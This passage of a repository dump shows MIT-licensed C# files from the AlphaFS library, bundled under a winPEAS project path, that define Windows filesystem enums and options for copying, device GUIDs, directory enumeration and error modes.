HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Used by CopyFileXxx and MoveFileXxx. The reason that was called. public enum CopyMoveProgressCallbackReason { /// CALLBACK_CHUNK_FINISHED /// Another part of the data file was copied. /// ChunkFinished = 0, /// CALLBACK_STREAM_SWITCH /// Another stream was created and is about to be copied. This is the callback reason given when the callback routine is first invoked. /// StreamSwitch = 1 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/CopyMoveProgressResult.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Used by CopyFileXxx and MoveFileXxx. The function should return one of the following values. public enum CopyMoveProgressResult { /// PROGRESS_CONTINUE /// Continue the copy/move operation. /// Continue = 0, /// PROGRESS_CANCEL /// Cancel the copy/move operation and delete the destination file. /// Cancel = 1, /// PROGRESS_STOP /// Stop the copy/move operation. It can be restarted at a later time. /// Stop = 2, /// PROGRESS_QUIET /// Continue the copy/move operation, but stop invoking to report progress. /// Quiet = 3 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/CopyOptions.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { /// Flags that specify how a file or directoryis to be copied. [Flags] public enum CopyOptions { /// No CopyOptions used, this allows overwriting the file. None = 0, /// The copy operation fails immediately if the target file already exists. FailIfExists = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_FAIL_IF_EXISTS, /// /// Progress of the copy is tracked in the target file in case the copy fails. The failed copy can be restarted at a later time by specifying the same values /// forexisting file name and new file name as those used in the call that failed. This can significantly slow down the copy operation as the new file may be /// flushed multiple times during the copy operation. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Restartable")] Restartable = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_RESTARTABLE, /// The file is copied and the original file is opened for write access. OpenSourceForWrite = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_OPEN_SOURCE_FOR_WRITE, /// An attempt to copy an encrypted file will succeed even if the destination copy cannot be encrypted. AllowDecryptedDestination = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_ALLOW_DECRYPTED_DESTINATION, /// /// Similar to XCOPY /B parameter: Copies the Symbolic Link itself versus the target of the link. /// If the source file is a symbolic link, the destination file is also a symbolic link pointing to the same file that the source symbolic link is pointing to. /// CopySymbolicLink = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_COPY_SYMLINK, /// The copy operation is performed using unbuffered I/O, bypassing system I/O cache resources. Recommended for very large file transfers. NoBuffering = NativeMethods.COPY_FILE_FLAGS.COPY_FILE_NO_BUFFERING, /// The original source timestamp is preserved. CopyTimestamp = 8192 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DeviceGuid.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.ComponentModel; using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { /// System-Defined Device Interface Classes /// http://msdn.microsoft.com/en-us/library/windows/hardware/ff541389%28v=vs.85%29.aspx public enum DeviceGuid { #region 1394 and 61883 Devices /// The BUS1394_CLASS_GUID device interface class is defined for 1394 bus devices. [Description("6BDD1FC1-810F-11d0-BEC7-08002BE2092F")] Bus1394, /// The GUID_61883_CLASS device interface class is defined for devices in the 61883 device setup class. [Description("7EBEFBC0-3200-11d2-B4C2-00A0C9697D07")] Guid61883, #endregion // 1394 and 61883 Devices #region Battery and ACPI devices /// The GUID_DEVICE_APPLICATIONLAUNCH_BUTTON device interface class is defined for Advanced Configuration and Power Interface (ACPI) application start buttons. [Description("629758EE-986E-4D9E-8E47-DE27F8AB054D")] ApplicationLaunchButton, /// The GUID_DEVICE_BATTERY device interface class is defined for battery devices. [Description("72631E54-78A4-11D0-BCF7-00AA00B7B32A")] Battery, /// The GUID_DEVICE_LID device interface class is defined for Advanced Configuration and Power Interface (ACPI) lid devices. [Description("4AFA3D52-74A7-11d0-be5e-00A0C9062857")] Lid, /// The GUID_DEVICE_MEMORY device interface class is defined for Advanced Configuration and Power Interface (ACPI) memory devices. [Description("3FD0F03D-92E0-45FB-B75C-5ED8FFB01021")] Memory, /// The GUID_DEVICE_MESSAGE_INDICATOR device interface class is defined for Advanced Configuration and Power Interface (ACPI) message indicator devices. [Description("CD48A365-FA94-4CE2-A232-A1B764E5D8B4")] MessageIndicator, /// The GUID_DEVICE_PROCESSOR device interface class is defined for Advanced Configuration and Power Interface (ACPI) processor devices. [Description("97FADB10-4E33-40AE-359C-8BEF029DBDD0")] Processor, /// The GUID_DEVICE_SYS_BUTTON device interface classis defined for Advanced Configuration and Power Interface (ACPI) system power button devices. [Description("4AFA3D53-74A7-11d0-be5e-00A0C9062857")] SysButton, /// The GUID_DEVICE_THERMAL_ZONE device interface class is defined for Advanced Configuration and Power Interface (ACPI) thermal zone devices. [Description("4AFA3D51-74A7-11d0-be5e-00A0C9062857")] ThermalZone, #endregion // Battery and ACPI devices #region Bluetooth Devices /// The GUID_BTHPORT_DEVICE_INTERFACE device interface class is defined for Bluetooth radios. [Description("0850302A-B344-4fda-9BE9-90576B8D46F0")] Bluetooth, #endregion // Bluetooth Devices #region Display and Image Devices /// The GUID_DEVINTERFACE_BRIGHTNESS device interface class is defined for display adapter drivers that operate in the context of the Windows Vista Display Driver Model and support brightness control of monitor child devices. [Description("FDE5BBA4-B3F9-46FB-BDAA-0728CE3100B4")] Brightness, /// The GUID_DEVINTERFACE_DISPLAY_ADAPTER device interface class is defined for display views that are supported by display adapters. [Description("5B45201D-F2F2-4F3B-85BB-30FF1F953599")] DisplayAdapter, /// The GUID_DEVINTERFACE_I2C device interface class is defined for display adapter drivers that operate in the context of the Windows Vista Display Driver Model and perform I2C transactions with monitor child devices. [Description("2564AA4F-DDDB-4495-B497-6AD4A84163D7")] I2C, /// The GUID_DEVINTERFACE_IMAGE device interface class is defined for WIA devices and Still Image (STI) devices, including digital cameras and scanners. [Description("6BDD1FC6-810F-11D0-BEC7-08002BE2092F")] StillImage, /// The GUID_DEVINTERFACE_MONITOR device interface class is defined for monitor devices. [Description("E6F07B5F-EE97-4a90-B076-33F57BF4EAA7")] Monitor, /// The GUID_DEVINTERFACE_OPM device interface class is defined for display adapter drivers that operate in the context of the Windows Vista Display Driver Model and support output protection management (OPM) for monitor child devices. [Description("BF4672DE-6B4E-4BE4-A325-68A91EA49C09")] OutputProtectionManagement, /// The GUID_DEVINTERFACE_VIDEO_OUTPUT_ARRIVAL device interface class is defined for child devices of display devices. [Description("1AD9E4F0-F88D-4360-BAB9-4C2D55E564CD")] VideoOutputArrival, /// The GUID_DISPLAY_DEVICE_ARRIVAL device interface class is defined for display adapters. [Description("1CA05180-A699-450A-9A0C-DE4FBE3DDD89")] DisplayDeviceArrival, #endregion // Display and Image Devices #region Interactive Input Devices /// The GUID_DEVINTERFACE_HID device interface class is defined for HID collections. [Description("4D1E55B2-F16F-11CF-88CB-001111000030")] Hid, /// The GUID_DEVINTERFACE_KEYBOARD device interface class is defined for keyboard devices. [Description("4D1E55B2-F16F-11CF-88CB-001111000030")] Keyboard, /// The GUID_DEVINTERFACE_MOUSE device interface class is defined for mouse devices. [Description("378DE44C-56EF-11D1-BC8C-00A0C91405DD")] Mouse, #endregion // Interactive Input Devices #region Modem Devices /// The GUID_DEVINTERFACE_MODEM device interface class is defined for modem devices. [Description("2C7089AA-2E0E-11D1-B114-00C04FC2AAE4")] Modem, #endregion // Modem Devices #region Network Devices /// The GUID_DEVINTERFACE_NET device interface class is defined for network devices. [Description("CAC88484-7515-4C03-82E6-71A87ABAC361")] Network, #endregion // Network Devices #region Serial and Parallel Port Devices /// The GUID_DEVINTERFACE_COMPORT device interface class is defined for COM ports. [SuppressMessage("Microsoft.Naming", "CA1702:CompoundWordsShouldBeCasedCorrectly", MessageId = "ComPort")] [Description("86E0D1E0-8089-11D0-9CE4-08003E301F73")] ComPort, /// The GUID_DEVINTERFACE_PARALLEL device interface class is defined for parallel ports that support an IEEE 1284-compatible hardware interface. [Description("97F76EF0-F883-11D0-AF1F-0000F800845C")] Parallel, /// The GUID_DEVINTERFACE_PARCLASS device interface class is defined for devices that are attached to a parallel port. [Description("811FC6A5-F728-11D0-A537-0000F8753ED1")] ParallelClass, /// The GUID_DEVINTERFACE_SERENUM_BUS_ENUMERATOR device interface class is defined for Plug and Play (PnP) serial ports. [Description("4D36E978-E325-11CE-BFC1-08002BE10318")] SerialEnumBusEnumerator, #endregion // Serial and Parallel Port Devices #region Storage Devices /// The GUID_DEVINTERFACE_CDCHANGER device interface class is defined for CD-ROM changer devices. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Cdrom")] [Description("53F56312-B6BF-11D0-94F2-00A0C91EFB8B")] CdromChanger, /// The GUID_DEVINTERFACE_CDROM device interface class is defined for CD-ROM storage devices. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Cdrom")] [Description("53F56308-B6BF-11D0-94F2-00A0C91EFB8B")] Cdrom, /// The GUID_DEVINTERFACE_DISK device interface class is defined for hard disk storage devices. [Description("53F56307-B6BF-11D0-94F2-00A0C91EFB8B")] Disk, /// The GUID_DEVINTERFACE_FLOPPY device interface class is defined for floppy disk storage devices. [Description("53F56311-B6BF-11D0-94F2-00A0C91EFB8B")] Floppy, /// The GUID_DEVINTERFACE_MEDIUMCHANGER device interface class is defined for medium changer devices. [Description("53F56310-B6BF-11D0-94F2-00A0C91EFB8B")] MediumChanger, /// The GUID_DEVINTERFACE_PARTITION device interface class is defined for partition devices. [Description("53F5630A-B6BF-11D0-94F2-00A0C91EFB8B")] Partition, /// The GUID_DEVINTERFACE_STORAGEPORT device interface class is defined for storage port devices. [Description("2ACCFE60-C130-11D2-B082-00A0C91EFB8B")] StoragePort, /// The GUID_DEVINTERFACE_TAPE device interface class is defined for tape storage devices. [Description("53F5630B-B6BF-11D0-94F2-00A0C91EFB8B")] Tape, /// The GUID_DEVINTERFACE_VOLUME device interface class is defined for volume devices. [Description("53F5630D-B6BF-11D0-94F2-00A0C91EFB8B")] Volume, /// The GUID_DEVINTERFACE_WRITEONCEDISK device interface class is defined for write-once disk devices. [Description("53F5630C-B6BF-11D0-94F2-00A0C91EFB8B")] WriteOnceDisk, #endregion // Storage Devices #region USB Devices /// The GUID_DEVINTERFACE_USB_DEVICE device interface class is defined for USB devices that are attached to a USB hub. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Usb")] [Description("A5DCBF10-6530-11D2-901F-00C04FB951ED")] UsbDevice, /// The GUID_DEVINTERFACE_USB_HOST_CONTROLLER device interface class is defined for USB host controller devices. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Usb")] [Description("3ABF6F2D-71C4-462A-8A92-1E6861E6AF27")] UsbHostController, /// The GUID_DEVINTERFACE_USB_HUB device interface class is defined for USB hub devices. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Usb")] [Description("F18A0E88-C30C-11D0-8815-00A0C906BED8")] UsbHub, #endregion // USB Devices #region Windows Portable devices /// The GUID_DEVINTERFACE_WPD device interface class is defined for Windows Portable Devices (WPD). /// Available in Windows Vista, Windows XP, and later versions of Windows. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Wpd")] [Description("6AC27878-A6FA-4155-BA85-F98F491D4F33")] Wpd, /// The GUID_DEVINTERFACE_WPD_PRIVATE device interface class is defined for specialized Windows Portable Devices (WPD). /// Available in Windows Vista, Windows XP, and later versions of Windows. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Wpd")] [Description("BA0C718F-4DED-49B7-BDD3-FABE28661211")] WpdPrivate #endregion // Windows Portable devices } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DiGetClassFlags.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Specifies control options that filter the device information elements that are added to the device information set. [Flags] internal enum SetupDiGetClassDevsExFlags { /// DIGCF_DEFAULT /// Return only the device that is associated with the system default device interface, if one is set, for the specified device interface classes. /// Default = 1, // only valid with DIGCF_DEVICEINTERFACE /// DIGCF_PRESENT /// Return only devices that are currently present. /// Present = 2, /// DIGCF_ALLCLASSES /// Return a list of installed devices for the specified device setup classes or device interface classes. /// AllClasses = 4, /// DIGCF_PROFILE /// Return only devices that are a part of the current hardware profile. /// Profile = 8, /// DIGCF_DEVICEINTERFACE /// /// Return devices that support device interfaces for the specified device interface classes. /// This flag must be set in the Flags parameter if the Enumerator parameter specifies a Device Instance ID. /// /// DeviceInterface = 16 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DirectoryEnumerationFilters.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; #if !NET35 using System.Threading; #endif namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] Represents the method that will handle an error raised during retrieving file system entries. /// true, if the error has been fully handled and the caller may proceed, /// The error code. /// The error message. /// The faulty path being processed. /// false otherwise, in which case the caller will throw the corresponding exception. public delegate bool ErrorHandler(int errorCode, string errorMessage, string pathProcessed); /// [AlphaFS] Specifies a set of custom filters to be used with enumeration methods of , e.g., , , or . /// /// allows scenarios in which files/directories being /// enumerated by the methods of class are accepted only if /// they match the search pattern, attributes (see ), /// and optionally also the custom criteria tested in the method whose delegate is specified in . /// These criteria could be, e.g., file size exceeding some threshold, pathname matches a compex regular expression, etc. /// If the enumeration process is set to be recursive (see ) and /// is specified, the directory is traversed recursively only if it matches the custom criteria in /// method. This allows, for example, custom handling of junctions and symbolic links, e.g., detection of cycles. /// If any error occurs during the enumeration and the enumeration process is not set to ignore errors /// (see ), an exception is thrown unless /// the error is handled (filtered out) by the method specified in (if specified). /// The method may, for example, consume the error by reporting it in a log, so that the enumeration continues /// as in the case of option but the user will be informed about errors. /// public class DirectoryEnumerationFilters { /// Gets or sets the filter that returns true if the input file system entry should be included in the enumeration. /// The delegate to a filtering method. public Predicate InclusionFilter { get; set; } /// Gets or sets the filter that returns true if the input directory should be recursively traversed. /// The delegate to a filtering method. public Predicate RecursionFilter { get; set; } /// Gets or sets the filter that returns true if the input error should not be thrown. /// The delegate to a filtering method. public ErrorHandler ErrorFilter { get; set; } /// The number of retries, excluding the first attempt. Default is 0. public int ErrorRetry { get; set; } /// The wait time in seconds between retries. Default is 10 seconds. public int ErrorRetryTimeout { get; set; } #if !NET35 /// Gets or sets the cancellation token to abort the enumeration. /// A instance. public CancellationToken CancellationToken { get; set; } #endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DirectoryEnumerationOptions.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] Directory enumeration options, flags that specify how a directory is to be enumerated. [Flags] public enum DirectoryEnumerationOptions { /// None (do not use). None = 0, /// Enumerate files only. Files = 1, /// Enumerate directories only. Folders = 2, /// Enumerate files and directories. FilesAndFolders = Files | Folders, /// Return full path as long full path (Unicode format), only valid when return type is . AsLongPath = 4, /// Skip reparse points during directory enumeration. SkipReparsePoints = 8, /// Suppress any Exception that might be thrown as a result from a failure, such as ACLs protected directories or non-accessible reparse points. ContinueOnException = 16, /// Specifies whether to search the current directory, or the current directory and all subdirectories. Recursive = 32, /// Enumerates the directory without querying the short file name, improving overall enumeration speed. /// This option is enabled by default if supported. This value is not supported until Windows Server 2008 R2 and Windows 7. BasicSearch = 64, /// Enumerates the directory using a larger buffer for directory queries, which can increase performance of the find operation. /// This option is enabled by default if supported. This value is not supported until Windows Server 2008 R2 and Windows 7. LargeCache = 128 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DosDeviceAttributes.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { /// Defines the controllable aspects of the Volume.DefineDosDevice() method. [Flags] public enum DosDeviceAttributes { /// DDD_EXACT_MATCH_ON_REMOVE /// Default. /// None = 0, /// DDD_RAW_TARGET_PATH /// Uses the targetPath string as is. Otherwise, it is converted from an MS-DOS path to a path. /// RawTargetPath = 1, /// DDD_REMOVE_DEFINITION /// Removes the specified definition for the specified device. /// To determine which definition to remove, the function walks the list of mappings for the device, looking for a match of targetPath against a prefix of each mapping associated with this device. /// The first mapping that matches is the one removed, and then the function returns. /// If targetPath is null or a pointer to a null string, the function will remove the first mapping associated with the device and pop the most recent one pushed.If there is nothing left to pop, the device name will be removed. /// If this value is not specified, the string pointed to by the targetPath parameter will become the new mapping for this device. /// RemoveDefinition = 2, /// DDD_EXACT_MATCH_ON_REMOVE /// If this value is specified along with , the function will use an exact match to determine which mapping to remove. /// Use this value to ensure that you do not delete something that you did not define. /// ExactMatchOnRemove = 4, /// DDD_NO_BROADCAST_SYSTEM /// Do not broadcast the WM_SETTINGCHANGE message. /// By default, this message is broadcast to notify the shell and applications of the change. /// NoBroadcastSystem = 8 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/EncryptedFileRawMode.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { internal partial class NativeMethods { /// Indicates the operation to be performed when opening a file using the OpenEncryptedFileRaw. [Flags] internal enum EncryptedFileRawMode { /// (0) Open the file for export (backup). CreateForExport = 0, /// (1) The file is being opened for import (restore). CreateForImport = 1, /// (2) Import (restore) a directory containing encrypted files. This must be combined with one of the previous two flags to indicate the operation. CreateForDir = 2, /// (4) Overwrite a hidden file on import. OverwriteHidden = 4 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/ErrorMode.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Enum for struct ChangeErrorMode. [Flags] internal enum ErrorMode { /// Use the system default, which is to display all error dialog boxes. SystemDefault = 0, /// The system does not display the critical-error-handler message box. Instead, the system sends the error to the calling process/thread. FailCriticalErrors = 1, /// The system does not display the Windows Error Reporting dialog. NoGpfaultErrorbox = 2, /// The system automatically fixes memory alignment faults and makes them invisible to the application. It does this for the calling process and any descendant processes. This feature is only supported by certain processor architectures. NoAlignmentFaultExcept = 4, /// The system does not display a message box when it fails to find a file. Instead, the error is returned to the calling process/thread. NoOpenFileErrorbox = 32768 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/ExtendedFileAttributes.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; namespace 